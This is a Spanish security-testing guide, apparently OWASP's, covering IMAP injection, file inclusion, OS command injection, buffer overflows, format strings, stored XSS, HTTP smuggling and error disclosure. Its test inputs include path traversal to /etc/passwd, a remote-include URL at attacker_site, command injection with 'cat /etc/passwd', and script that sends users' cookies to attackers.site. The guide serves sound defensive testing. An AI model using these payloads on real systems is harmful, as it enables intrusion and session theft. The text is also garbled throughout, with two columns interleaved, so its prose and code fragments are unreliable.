Las situaciones S1 y S2 representan una inyección IMAP/SMTP exitosa.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46
225&startMessage=1
Al utilizar el siguiente caso de prueba (cuando proporciona un valor alfabético Una vez que el evaluador ha identificado los parámetros vulnerables y ha
y se requiere un valor numérico): analizado el contexto en el que se ejecutan, la siguiente etapa es explotar
la funcionalidad.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=te
st&startMessage=1
Esta etapa tiene dos posibles resultados:
ERROR : Bad or malformed request. [2] La inyección sólo es posible en un estado autenticado: la explotación
exitosa requiere que el usuario esté plenamente autenticado antes de que
Query: FETCH test:test BODY[HEADER] la prueba pueda continuar.
En otras situaciones, el mensaje de error ( "not controlled", no controlado • Cuerpo: inyección del nuevo comando;
por la aplicación) contiene el nombre del comando ejecutado, pero leer el
RFC adecuado (vea la sección de "Referencia") le permitirá al evaluador • Pie: inicio del comando esperado.
entender qué otros comandos pueden ser ejecutados.
Resultado esperado:
http://www.webappsec.org/projects/articles/121106.pdf
FETCH 4791 BODY[HEADER]
Resumen
En este escenario, la estructura de inyección IMAP sería:
Esta sección describe cómo un evaluador puede comprobar si es posible
introducir código en una página web y ejecutarlo con el servidor web.
http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
En la prueba de inyección de código, un evaluador envía información que
es procesada por el servidor web como código dinámico o como un
archivo incluido. Estas pruebas pueden dirigirse a varios motores de
secuencias de scripting del servidor, como ASP o PHP. Una correcta
validación de la entrada y prácticas de codificación seguras deben
Lo que generaría los siguientes comandos: emplearse para protegerse de estos ataques.
Resultado esperado:
Referencias
• RFC 3501 “http://www.ietf.org/rfc/rfc3501.txt”. Examine el código ASP en busca de información ingresada por el usuario
en funciones de ejecución. ¿ El usuario puede ingresar los comandos en el
• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail campo de entrada de datos? Aquí, el código ASP almacena la información
Servers” - en un archivo y luego lo ejecuta:
<%
Pruebas para determinar la inclusión de documentos locales
If not isEmpty(Request( “Data” ) ) Then
Resumen
Dim fso, f
La vulnerabilidad de inclusión de documentos permite al atacante incluir un
‘User input Data is written to a file named data.txt documento, normalmente explotando un mecanismo de “inclusión de
documento dinámica” implementado en la aplicación objetivo. La
Set fso = CreateObject(“Scripting.FileSystemObject”)
vulnerabilidad ocurre debido al uso de datos ingresados por el usuario sin una
apropiada validación.
Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)
Else
%>)))
Cómo probar
• Insecure.org - http://www.insecure.org
Considere el siguiente ejemplo:
• Wikipedia - http://www.wikipedia.org
http://vulnerable_host/preview.php?file=example.html http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
Este caso parece el lugar perfecto para buscar LFI. Si un atacante tiene Referencias
suficiente suerte, y en vez de seleccionar la página apropiada de la matriz
por su nombre, la secuencia de comandos incluye directamente el • Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
parámetro de entrada, es posible incluir archivos arbitrarios en el
servidor. • Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Pruebas para la inclusión remota de archivos
alex:x:500:500:alex:/home/alex:/bin/bash
Resumen
margo:x:501:501::/home/margo:/bin/bash
La vulnerabilidad de inclusión de archivos permite que un atacante
incluya un archivo, generalmente, aprovechando un mecanismo de
...
"inclusión dinámica de archivos" implementado en la aplicación de
Muy a menudo, incluso cuando existe dicha vulnerabilidad, su explotación es un destino. La vulnerabilidad se produce debido al uso de datos
poco más compleja. Considere el siguiente fragmento del código: suministrados por el usuario sin una validación adecuada.
En el caso de la sustitución simple con nombres de archivo arbitrarios no • Ejecución de código en el servidor web.
funcionaría, ya que se añade el sufijo 'php'. Para evitarlo, se utiliza una técnica con
terminadores null bytes. Cómo %00 representa efectivamente el final de la cadena, • Ejecución de código en el lado del cliente como JavaScript que nos llevaría a
se ignorará cualquier carácter después de este byte especial. La siguiente solicitud otros ataques tales como cross site scripting (XSS).
también devolverá una lista de atacante de los atributos básicos de los usuarios:
• Negación de servicio (DoS).
Remediación
La inclusión remota de archivos (también conocida como RFI) es el La solución más eficaz para eliminar las vulnerabilidades de inclusión de
proceso de incluir archivos remotos a través de la explotación de las archivo es evitar pasar datos enviados por el usuario a cualquier
vulnerabilidades en los procedimientos de inserción implementados en la filesystem/framework API. Si esto no es posible, la aplicación puede
aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una mantener una lista blanca de archivos que pueden ser incluidos por la
página recibecomo datos, la ruta del archivo que debe estar incluida y página y luego utilizar un identificador (por ejemplo, el número de índice)
este dato no ha sido correctamente desinfectado, permitiendo que una para tener acceso al archivo seleccionado. Cualquier solicitud que
URL externa se inyecte. Aunque la mayoría de ejemplos apuntan a scripts contenga un identificador inválido será rechazada, de esta manera no hay
PHP vulnerables, debemos tener en cuenta que también es común en ninguna superficie de ataque para que usuarios malintencionados puedan
tecnologías como JSP, ASP y otras. manipular la ruta.
Puesto que la RFI ocurre cuando las rutas para "incluir" declaraciones no están Resumen
correctamente desinfectadas, en un enfoque de pruebas de Caja Negra debemos
buscar scripts que tomen los nombres de archivos como parámetros. Considere el Este artículo describe cómo probar una aplicación en busca de inyección de
siguiente ejemplo PHP: comandos del sistema operativo. El evaluador intentará inyectar un comando de
sistema operativo a través de una solicitud HTTP a la aplicación.
include($incfile.”.php”); La Inyección de comandos del sistema operativo es una técnica utilizada a través de
una interfaz web para ejecutar comandos del sistema operativo en un servidor web.
El usuario provee comandos del sistema operativo a través de una interfaz web para
ejecutar comandos del sistema operativo. Cualquier interfaz que no esté
correctamente desinfectada está sujeta a esta debilidad. Con la habilidad de ejecutar
En este ejemplo la ruta de acceso se extrae de la solicitud HTTP y no se comandos en el sistema operativo, el usuario puede subir programas maliciosos o
realiza una validación de datos ingresados (por ejemplo, comprobando el incluso obtener contraseñas. La inyección de comandos del sistema operativo es
ingreso contra una lista blanca), así que este fragmento de código resulta prevenible cuando la seguridad se acentúa durante el diseño y desarrollo de las
vulnerable a este tipo de ataque. Considere de hecho la siguiente URL: aplicaciones.
Cómo probar
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicou
s_page Al observar un archivo en una aplicación web, el nombre del archivo a menudo se
muestra en la URL. Perl permite canalizar datos de un proceso hacia una
instrucción abierta. El usuario simplemente puede añadir el símbolo Pipe "|" en el
final del nombre del archivo.
En este caso el archivo remoto va a ser incluido y cualquier código que contenga se
ejecutara en el servidor. Ejemplo de las URL antes de ser alteradas:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Referencias
Libros Blancos
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Ejemplo:
Accept-Encoding: gzip,deflate
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Consideremos el caso de una aplicación que contiene un conjunto de documentos Referer: http://127.0.0.1/WebGoat/attack?Screen=20
que pueden navegarse en Internet. Si usted enciende WebScarab, puede obtener un
HTTP POST como el siguiente: Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
,image/png,*/*;q=0.5 Si la aplicación no validase la solicitud, podemos obtener el siguiente resultado:
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Directory of c:\
Remediación
18/10/2006 00:27 2,675 Dir_Prog.txt
Desinfección
18/10/2006 00:28 3,887 Dir_ProgFile.txt
Los formularios de datos y la URL deben desinfectarse de caracteres no
16/11/2006 10:43
válidos. Una "lista negra" de caracteres es una opción, pero puede ser
Doc difícil pensar en todos los caracteres contra los que hay que validar.
También pueden haber algunos que no han sido descubiertos todavía.
11/11/2006 17:25 Para validar la entrada del usuario se debe crear una "lista blanca" que
contenga sólo caracteres permitidos. Caracteres que faltaron, así como las
Documents and Settings amenazas desconocidas, deben ser eliminados de esta lista.
25/10/2006 03:11
I386
Permisos
14/11/2006 18:51
La aplicación web y sus componentes deben ejecutarse bajo permisos
h4ck3r estrictos que no permitan la ejecución de comandos del sistema
operativo. Trate de verificar todas estas informaciones para probar desde
30/09/2005 21:40 25,934 un punto de vista de Caja Gris.
OWASP1.JPG
Prog
Resumen
18/11/2006 11:20
Para conocer más acerca de las vulnerabilidades de saturación de búfer,
Program Files consulte las páginas de saturación de búfer.
16/11/2006 21:12
24/10/2006 18:25
Cómo probar
En este caso, hemos realizado con éxito un ataque de inyección de OS.
Diferentes tipos de vulnerabilidades de saturación de búfer tienen
diferentes métodos de prueba. Aquí están los métodos de prueba para los
tipos comunes de vulnerabilidades de saturación de búfer.
Herramientas
• OWASP ZAP
• Pruebas de vulnerabilidad de saturación del heap. con la saturación de pilas de datos, ya que hay ciertas condiciones que
deben existir en el código de estas vulnerabilidades para que sean
• Pruebas de vulnerabilidad de saturación de pilas de datos. explotables.
Cómo probar
Vea el artículo de la Guía de revisión de código OWASP sobre cómo Los principios de las pruebas de Caja Negra para saturación de heap son
revisar el código en busca de vulnerabilidades por saturación de heap o los mismos que se utilizan para la saturación de pilas de datos. La clave
búfer. está en introducir cadenas de entrada que sean más largas de lo esperado.
Aunque el proceso de prueba sigue siendo el mismo, los resultados que
son visibles en el depurador son significativamente diferentes. Mientras
que, en el caso de una saturación de pila de datos, una instrucción de
puntero o sobreescritura SEH sería evidente; esto no sucede en una
condición de saturación de heap.
Remediación
vulnerable(argv[1]);
Pruebas de Caja Gris
return 0;
Al revisar el código, uno debe darse cuenta que hay varias vías por donde
}
las vulnerabilidades asociadas con los heaps pueden surgir. Un código
aparentemente inofensivo a primera vista puede ser vulnerable bajo
ciertas condiciones. Puesto que hay distintas variaciones de esta
vulnerabilidad, cubriremos sólo los temas que son predominantes.
La mayoría de las veces, los bufers heap son considerados seguros por {
muchos desarrolladores que no dudan en realizar operaciones inseguras
como strcpy () en ellos. El mito de que una saturación de pila de datos y la
instrucción de sobrescribir el puntero son los únicos medios para
HANDLE hp = HeapCreate(0, 0, 0);
ejecutar un código arbitrario resulta peligroso en caso del código que se
muestra a continuación:
En este caso, si buf excede los 260 bytes, se sobreescriben los punteros a
la etiqueta de límite adyacente, facilitando la sobrescritura de una
ubicación de memoria arbitraria con cuatro bytes de datos una vez que
comienza la rutina heap de almacenamiento dinámico.
free(string);
Probar la saturación de pila de datos
return -1;
Resumen
}
La saturación de pila de datos se produce cuando se copian datos de
El malloc en la línea 1 asigna memoria basada en el valor de la longitud, el
tamaño variable en búferes de longitud ubicados en la pila de datos del
cual coincide con un entero de 32 bits. En este ejemplo particular, la
programa sin ninguna comprobación de los límites.
longitud es controlable por el usuario y se puede fabricar un archivo
TNEF malicioso para ajustar la longitud a '-1', que daría como resultado
malloc (0). Por lo tanto, este malloc asignaría un búfer heap pequeño, que
sería de 16 bytes en la mayoría de las plataformas de 32 bits (como se Las vulnerabilidades de esta clase se consideran generalmente de alta
indica en malloc.h). severidad, ya que su explotación permitiría, sobre todo, la ejecución de
código arbitrario o negación de servicio. Aunque rara vez se encuentra en
plataformas interpretadas, el código escrito en C y lenguajes similares es,
a menudo, montado con instancias de esta vulnerabilidad. De hecho, casi
Y ahora, en la línea 2, una saturación de heap se produce en la llamada a
todas las plataformas son vulnerables a saturación de pila de datos con
fread (). El tercer argumento, en este caso la longitud, se espera que sea
las siguientes excepciones notables:
una variable de size_t. Pero si va a ser '-1', el argumento envuelve a
0xFFFFFFFF, copiando así 0xFFFFFFFF bytes en el búfer de 16 bytes.
#include<stdio.h>
char buff[20];
strcpy(buff,argv[1]);
return 0;
aplicación, el cual es un proceso complejo y tedioso y utiliza técnicas de El uso, relativamente más seguro, de strncpy()también puede llevar a una
difuminación (fuzzing). saturación de cúmulo de datos, ya que sólo restringe el número de bytes
copiados en el búfer de destino. Si el argumento de tamaño que se utiliza para
lograr esto se genera dinámicamente basado en los datos ingresados por el
usuario o no se calcula exactamente dentro de la trayectoria, es posible la
Pruebas de Caja Gris saturación de búferes de cúmulo de datos. Por ejemplo:
…
void log_create(int severity, char *inpt) {
size=strlen(source)+1
char b[1024];
….
strncpy(dest,source,size)
}
if (severity == 1)
Donde la fuente son datos controlables por el usuario. Un buen ejemplo seria
{ la vulnerabilidad de saturación de pila de datos samba trans2open.
(http://www.securityfocus.com/archive/1/317615).
strcat(b,”Error occurred on”);
strcat(b,”:”);
Las vulnerabilidades también pueden aparecer en la URL y desde el código de
strcat(b,inpt); análisis de dirección. En tales casos, una función como memccpy() es
generalmente empleada, ya que copia los datos en un búfer de destino desde la
fuente mientras no se encuentre un carácter especificado. Considere la
función:
memccpy(servaddr,path,’\’);
….
De lo anterior, la línea strcat(b,inpt) dará lugar a una saturación de cúmulo de
datos si inpt excede los 1024 bytes. Esto no sólo demuestra el uso inseguro de
strcat, también muestra lo importante que es examinar la longitud de las
secuencias a las que hace referencia un puntero de carácter que se pasa como
argumento a una función, en este caso, la longitud de cadena referenciada por
char *inpt. Por lo tanto, siempre es una buena idea rastrear la fuente de los En este caso, la información contenida en la ruta de acceso podría ser
argumentos de la función y determinar longitudes de cadena al revisar el mayor a 40 bytes antes de que '\' pueda encontrarse. Si esto ocurre , se
código. provocará una saturación de pila de datos.
Una vulnerabilidad similar se encuentra en el subsistema de Windows Esta sección describe cómo probar ataques de cadena de formato que
RPCSS (MS03-026). El código vulnerable copió los nombres de rutas de pueden utilizarse para bloquear un programa o ejecutar un código
acceso UNC del servidor en un búfer de tamaño fijo, hasta que un '\' fue dañino. El problema surge por la utilización de datos ingresados por el
encontrado. La longitud del nombre del servidor, en este caso, era usuario, que no han sido filtrados, como el parámetro de formato de
controlable por los usuarios. cadena en ciertas funciones C que realizan el formateo, como printf().
Aparte de revisar manualmente el código de saturación de pila de datos, Varios lenguajes de estilo C disponen de un formato de salida por medio
también pueden ser de gran ayuda las herramientas de análisis estático de funciones como printf (), fprintf () etc..
del código. Aunque tienden a generar muchos falsos positivos y apenas
serían capaces de localizar una pequeña porción de defectos, sin duda El formateo se rige a un parámetro de estas funciones como un
ayudan a reducir la sobrecarga asociada con la búsquedas sencillas, como especificador del tipo de formato, normalmente %s, %c etc.. La
los bugs strcpy() y sprintf(). vulnerabilidad se presenta cuando se contactan funciones de formato que
tienen una inadecuada validación de parámetros y datos controlados por
el usuario.
• Aleph One: “Smashing the Stack for Fun and Profit”: insecure.org
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
Libros Blancos
thenewsh.com
julianor.tripod.com
vfprintf
• En primer lugar, el vector de ataque debe ser constante y debe almacenarse
vprintf en la capa de persistencia. Esto ocurrirá únicamente si una validación de
datos débil está presente o los datos llegaron al sistema a través de otro canal
vsprintf como una consola de administración o directamente a través de un proceso de
datos restringidos.
vsnprintf
• Segundo, una vez que el vector de ataque ha sido "contactado", este necesita
Puede haber varias funciones de formateo que son específicas en la ejecutarse de una manera satisfactoria. Por ejemplo, un ataque XSS incubado
plataforma de desarrollo. Esto también debe revisarse en busca de la requiere una validación de salida de datos débil para que el script pueda ser
ausencia de cadenas de formato, una vez que se ha entendido su entregado al cliente de una manera ejecutable.
argumento de uso.
particular que encontró para construir un ataque basado en el lado del cliente; página resultante o descargue y ejecute el archivo desde el sitio de
este se utiliza generalmente para atacar a un gran número de víctimas al confianza.
mismo tiempo (es decir, a todos los usuarios que navegan por el sitio).
<script>document.write(‘<img
• Los componentes de carga de archivos en una aplicación web permiten al src=”http://attackers.site/cv.jpg?’+document.cookie+’”>’)</script>
atacante subir archivos corrompidos (imágenes jpg imágenes que explotan CVE-
2004-0200, imágenes png que explotan CVE-2004-0597, archivos ejecutables,
páginas de sitios con componentes activos, etc.).
[2] Dirija a los usuarios a navegar por la página vulnerable o espere a que
los usuarios naveguen. Tenga un "oyente" en el servidor anfitrión del sitio
del lado del atacante.para escuchar todas las conexiones entrantes.
• Asuntos de cross-site scripting de publicaciones en foros públicos (vea Pruebas
para Cross site scripting almacenados (OTG-INPVAL-002) para mayor detalle). [3] Cuando los usuarios navegan por la página vulnerable, una solicitud
Un atacante podría potencialmente almacenar secuencias de comandos que contiene su cookie (document.cookie se incluye como parte de la URL
malintencionados o el código en un repositorio en el servidor restringido de la solicitada) será enviada al servidor anfitrión del sitio del atacante, como
aplicación web (por ejemplo, una base de datos) para que este código de script los siguientes:
se ejecute mediante uno de los usuarios (los usuarios finales, administradores,
etc.). El ataque incubado arquetípico es ejemplificado por una vulnerabilidad de - GET
cross site scripting en un foro de usuarios, cartelera o blog para inyectar código /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
JavaScript en la página vulnerable y será eventualmente procesado y ejecutado
en el navegador del usuario del sitio utilizando el nivel de confianza del sitio %20JSESSIONID=ADIFFERENTVALUE:-
(vulnerable) original en el navegador del usuario. 1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
[1] De manera similar al anterior ejemplo de XSS, utilice un campo de Como también debería ser obvio, la habilidad de cambiar el contenido de
página web vulnerable a problemas de inyección SQL para cambiar un la página web en el servidor a través de cualquier vulnerabilidad que
valor en la base de datos que se utilizaría por la aplicación como ingresos puede ser explotable en el host dará al atacante permisos de escritura en
que se muestran en el sitio sin la filtración adecuada (esto sería una el webroot, y también será útil cuando se quiera plantar un ataque
combinación de una inyección de SQL y un problema XSS). incubado semejante en las páginas del servidor web (en realidad, se trata
de un método de propagación de la infección conocido para algunos
gusanos de servidores web).
Por ejemplo, supongamos que hay un pie de página en la base de datos Pruebas de Caja Gris
con todos los pies de página para las páginas del sitio web, incluyendo un
campo de nota con el aviso legal que aparece en la parte inferior de cada Las técnicas de pruebas gris/blancas serán las mismas que se discutieron
página web. Puede utilizar la siguiente consulta para inyectar código previamente.
JavaScript en el campo de avisos en el pie de página en la base de datos.
UPDATE footer
SET notice = ‘Copyright 1999-2030%20 • Para combatir el problema de la "puerta trasera" en ataques del lado del
cliente, la validación de salida debe ser empleada para que los datos
<script>document.write(\’<img contaminados sean codificados antes de mostrarlos al cliente y, por lo tanto,
src=”http://attackers.site/cv.jpg?\’+document.cookie+\’”>\’)</script>’ no se ejecuten.
[2] Ahora, cada usuario que navegue por el sitio enviará silenciosamente
sus cookies al sitio del atacante (pasos b.2 al b.4).
Herramientas
• XSS-proxy: sourceforge.net
Servidor mal configurado
• Paros: parosproxy.org
Algunos servidores web presentan una interfaz de administración que
• Burp Suite: portswigger.net
puede permitir a un atacante cargar componentes activos de su elección
en el sitio. Esto podría ser el caso con un servidor Apache Tomcat que no
• Metasploit: metasploit.com
obliga a utilizar credenciales fuertes para acceder a su gestor de
aplicaciones web (o si los evaluadores de edición han sido capaces de
obtener credenciales válidas para el módulo de administración por otros
medios). Referencias
• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site más sencillo es proporcionado por las redirecciones en las que la dirección
URL de destino depende de algún valor enviado por el usuario.
scripting vulnerability: archives.neohapsis.com
Esta sección ilustra ejemplos de ataques que aprovechan características Location: http://victim.com/main.jsp?interface=advanced
específicas del protocolo HTTP, ya sea mediante la explotación de las
debilidades de la aplicación web o peculiaridades, en la manera en que los <snip>
diferentes agentes interpretan los mensajes HTTP.
Al recibir este mensaje, el navegador llevará al usuario a la página
indicada en el encabezado de ubicación. Sin embargo, si la aplicación no
filtra la entrada de usuario, será posible introducir en el parámetro de la
Esta sección analizará dos diferentes ataques dirigidos a encabezados
'interfaz' la secuencia %0d%0a, que representa la secuencia CRLF que se
HTTP específicos:
utiliza para separar líneas.
Cómo probar
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 35
• Location
Como se mencionó en la introducción, el contrabando HTTP aprovecha POST /target.asp HTTP/1.0 <-- Request #3
las diferentes maneras en que un mensaje HTTP especialmente diseñado
puede ser analizado e interpretado por los diferentes agentes xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <--
(navegadores, cachés web, aplicaciones de firewalls). Este relativamente Request #4
nuevo tipo de ataque fue descubierto por Chaim Linhart, Amit Klein,
Ronen Heled y Steve Orrin en 2005. Connection: Keep-Alive
<CRLF>
Host: target
Connection: Keep-Alive Por ejemplo, el protocolo HTTP permite sólo un encabezado Content-
Length, pero no especifica cómo manejar un mensaje que tiene dos
Content-Length: 49225 instancias de este encabezado. Algunas implementaciones utilizarán el
primero de ellos mientras que otras preferirán la segunda, limpiando el
<CRLF> camino para ataques de contrabando HTTP. Otro ejemplo es el uso del
encabezado Content-Length en un mensaje GET.
<49152 bytes of garbage>
Libros Blancos
Errores de servidor web
• Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache
Poisoning Attacks, and RelatedTopics”: packetstormsecurity.org Un error común que podemos ver durante la prueba es el HTTP 404 Not
Found. A menudo este código de error proporciona información útil sobre
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request el servidor web subyacente y componentes asociados. Por ejemplo:
Smuggling”: cgisecurity.com
Not Found
• Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”:
owasp.org The requested URL /page.html was not found on this server.
• Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at
phenomenon)”: securityfocus.com localhost Port 80
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Este mensaje de error puede generarse por solicitar una URL no
Smuggling”: cgisecurity.com existente. Después del mensaje común que muestra una página no
encontrada, hay información sobre la versión del servidor web, sistema
operativo, módulos y otros productos utilizados. Esta información puede
ser muy importante desde el punto de vista de identificar el tipo y versión
Pruebas de errores de código (OTG-ERR-001)
del sistema operativo y aplicaciones.
Resumen
Los errores de base de datos son devueltos por el sistema de base de no maneja la excepción de una forma controlada. Esto puede ser causado
datos cuando hay un problema con la consulta o la conexión. Cada por un problema de resolución del nombre de la base de datos,
sistema de base de datos, como MySQL, Oracle o MSSQL, tiene su propio procesamiento de valores variable inesperados u otros problemas de red.
conjunto de errores. Esos errores pueden proporcionar información
confidencial como las IP del servidor de base de datos, tablas, columnas y
datos de inicio de sesión.
Considere el escenario donde tenemos un portal de administración de base de
datos, que puede utilizarse como un front-end GUI para emitir consultas de
base de datos, crear tablas y modificar campos de bases de datos. Durante el
Además, hay muchas técnicas de explotación de inyección SQL que POST de las credenciales de inicio de sesión, el siguiente mensaje de error se
utilizan los mensajes de error detallados desde el controlador de la base presenta en las pruebas de penetración. El mensaje indica la presencia de un
de datos. Para información más detallada sobre este tema vea Pruebas de servidor de base de datos MySQL:
inyecciones de SQL (OTG-INPVAL-005).
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access Si vemos en el código HTML de la página de inicio de sesión la presencia de
denied un campo oculto con una IP de una base de datos, podemos intentar cambiar
este valor en la URL con la dirección de un servidor de base de datos bajo el
control de evaluadores de penetración, en un intento de engañar a la
aplicación para que piense que la conexión fue exitosa.
¿Qué pasó? A continuación vamos a explicarlo paso a paso.
Otro ejemplo: sabiendo cuál es el servidor de base de datos que sirve a una
En este ejemplo, el 80004005 es un código de error IIS genérico que aplicación web, podemos aprovechar esta información para llevar a cabo una
indica que no pudo establecer una conexión con su base de datos inyección de SQL para ese tipo de base de datos o una prueba XSS
asociada. En muchos casos, el mensaje de error detalla el tipo de base de persistente.
datos. A menudo esto le indicará el sistema operativo subyacente por
asociación. Con esta información, el evaluador de penetración puede
planear una estrategia adecuada para la prueba de seguridad.
Cómo probar
Date: Sat, 04 Nov 2006 15:26:48 GMT Prueba: 400 Bad Request
... Resultado:
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Port 80</address>
Vary: Accept-Encoding
Content-Length: 301
Prueba:
Connection: close
Problemas de red que llevan a que la aplicación no pueda acceder al servidor de
bases de datos Content-Type: text/html; charset=iso-8859-1
...
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
127.0.1.1 Port 80</address>
...
Prueba:
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
<host target> Port 80</address>
Allow: GET, HEAD, POST, OPTIONS
...
Vary: Accept-Encoding
Content-Length: 315
Prueba: 501 Method Not Implemented
Connection: close
telnet <host target> 80
Content-Type: text/html; charset=iso-8859-1
RENAME /index.html HTTP/1.1
...
Host: <host target>
<title>405 Method Not Allowed</title>
<CRLF><CRLF>
...
Prueba: 408 Request Time-out Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
-Wait X seconds – (Depending on the target server, 21 seconds for Apache by Content-Length: 299
default)
Connection: close
Connection: close
... http://<host>/<dir>
Herramientas
<customErrors defaultRedirect=”myerrorpagedefault.aspx”
• ErrorMint : sourceforge.net mode=”On|Off|RemoteOnly”>
Referencias </customErrors>
• [RFC2616] ietf.org
End Sub
Handles MyBase.Error
Description: HTTP 404. The resource you are looking for (or one of its
dependencies) could have been removed, had its name
Jerarquía de errores en ASP .net
Si el servidor devuelve
Los administradores del sitio pueden gestionar sus propios errores con el
The page cannot be found archivo .htaccess si la directiva global AllowOverride está configurada
correctamente en apache2.conf [3]
http:\\www.mywebserver.com\anyrandomname.aspx Tomcat es un servidor HTTP para alojar aplicaciones JSP y Java Servlet. Por
defecto Tomcat muestra la versión del servidor en las respuestas de error
HTTP.
Si el servidor devuelve
Server Error in ‘/’ Application. La personalización de las respuestas de error se puede configurar en el
documento de configuración web.xml.
--------------------------------------------------------------------------------
<error-page>
<error-code>404</error-code> Todas las pruebas anteriores podrían llevar a errores de aplicación que pueden
contener restos de pila de datos. Se recomienda utilizar un comprobador
<location>/myerrorpagefor404.html</location> aleatorio adicional a cualquier prueba manual.
</error-page>
Resumen
Los rastros de pilas de datos no son vulnerabilidades por sí mismas, pero a Pruebas de Caja Gris
menudo revelan información que es interesante para un atacante. Los
atacantes intentan generar estos rastros de pila de datos mediante la alteración Buscar el código para las comunicaciones que causan una excepción
del ingreso a la aplicación web con peticiones HTTP con formato incorrecto y representada en una cadena o secuencia de salida. Por ejemplo, en Java podría
otros datos de ingreso. ser código en JSP que se ve asi:
Hay una variedad de técnicas que pueden provocar que mensajes de excepción Herramientas
se envíen en una respuesta HTTP. Tenga en cuenta que en la mayoría de los
casos se trata de una página HTML, pero las excepciones se pueden enviar • ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
como parte de las respuestas SOAP o REST también.
Attack_Proxy_Project
• Acceso a páginas internas sin autenticación. Los datos sensibles deben ser protegidos cuando se transmiten a través de la
red. Dichos datos pueden incluir credenciales y tarjetas de crédito del usuario.
• Esquivar el flujo de la aplicación. Como regla general, si los datos se deben proteger cuando se almacenan, se
deben proteger también durante la transmisión.
Aunque los cifrados de alto nivel se apoyan hoy en día y son utilizados SSL/TLS Ciphers/Protocols/Keys débiles
normalmente, algún error de configuración en el servidor puede utilizarse para
forzar el uso de un cifrado débil - o, en el peor caso, ningún cifrado - Históricamente, ha habido limitaciones determinadas por el gobierno de Estados
permitiendo a un atacante acceder al canal de comunicación supuestamente Unidos, que permiten la exportación del cifrado sólo de un tamaño de hasta 40
seguro. Otras configuraciones erróneas pueden usarse para un ataque de bits, una longitud de clave que podría ser rota y permitiría el descifrado de
negación de servicio. comunicaciones. Desde entonces, las regulaciones de exportación criptográfica se
han allanado a un tamaño de clave máximo de 128 bits.
Asuntos comúnes
Es importante comprobar que la configuración de SSL ha sido usada para evitar la
Se produce una vulnerabilidad si se utiliza el protocolo HTTP para transmitir puesta en marcha del soporte criptográfico que podría ser fácilmente derrotado.
información sensible [2] (e.g. credenciales transmitidas en HTTP [3]). Para alcanzar este objetivo, los servicios basados en SSL no deberían ofrecer la
posibilidad de escoger una suite de cifrado débil. Una suite de cifrado se especifica
mediante un protocolo de cifrado (por ejemplo, DES, RC4, AES), la longitud de
cifrado de clave (por ejemplo, 40, 56 o 128 bits) y un algoritmo de hash (SHA,
La presencia de un servicio SSL/TLS es buena, pero aumenta la superficie de MD5) utilizado para verificar la integridad.
ataque y pueden existir las siguientes vulnerabilidades:
Brevemente, los puntos clave para la determinación de la suite de cifrado son las
• Los protocolos SSL/TLS, cifrados, claves y renegociación, deben estar siguientes:
correctamente configurados.
• La presencia tanto de HTTP como HTTPS, lo cual se puede utilizar también para
interceptar tráfico [7], [8].
Es posible (por ejemplo, por medio de las directivas de configuración)
• La presencia de contenido mezclado de HTTPS y HTTP en la misma página, lo especificar qué suites de cifrado el servidor obedecerá. De esta manera, usted
cual puede usarse para filtrar información. puede controlar si las conversaciones con los clientes aceptarán solamente un
cifrado de 40 bits.
[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del • ¿Qué pasa si el nombre en el certificado y el nombre del servidor no coinciden?
cliente. Si esto sucede, puede sonar sospechoso. Por varias razones, esto no es tan raro
